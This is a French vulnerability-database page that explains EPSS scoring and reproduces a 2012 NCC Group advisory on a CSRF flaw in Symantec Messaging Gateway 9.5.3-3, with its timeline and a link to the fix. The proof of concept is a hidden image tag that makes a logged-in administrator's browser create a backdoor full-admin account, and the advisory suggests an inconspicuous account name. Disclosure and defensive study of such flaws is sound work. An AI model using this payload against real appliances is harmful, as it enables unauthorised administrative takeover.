EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

======= Summary ======= Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example) Release Date: 30 November 2012 Reference: NGS00263 Discoverer: Ben Williams <ben.williams@ngssecure.com> Vendor: Symantec Vendor Reference: Systems Affected: Symantec Messaging Gateway 9.5.3-3 Risk: High Status: Published ======== TimeLine ======== Discovered: 16 April 2012 Released: 16 April 2012 Approved: 29 April 2012 Reported: 30 April 2012 Fixed: 27 August 2012 Published: 30 November 2012 =========== Description =========== I. VULNERABILITY ------------------------- Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example) II. BACKGROUND ------------------------- Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance III. DESCRIPTION ------------------------- It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product. ================= Technical Details ================= IV. PROOF OF CONCEPT ------------------------- An attacker can create an web page with a hidden image-tag (example below) <html> A very interesting page indeed <img src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true" height=0 width=0> </html> When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique). The administrator would not notice anything until they go to here: http://192.168.1.59:41080/brightmail/admin/administrator/view.do (where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway) The attacker could then use this backdoor administrator to login, control and reconfigure the appliance. Many other functions can be abused in this way to arbitrarily reconfigure the appliance. =============== Fix Information =============== An updated version of the software has been released to address the vulnerability: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00 NCC Group Research http://www.nccgroup.com/research For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br> This email message has been delivered safely and archived online by Mimecast. </a>
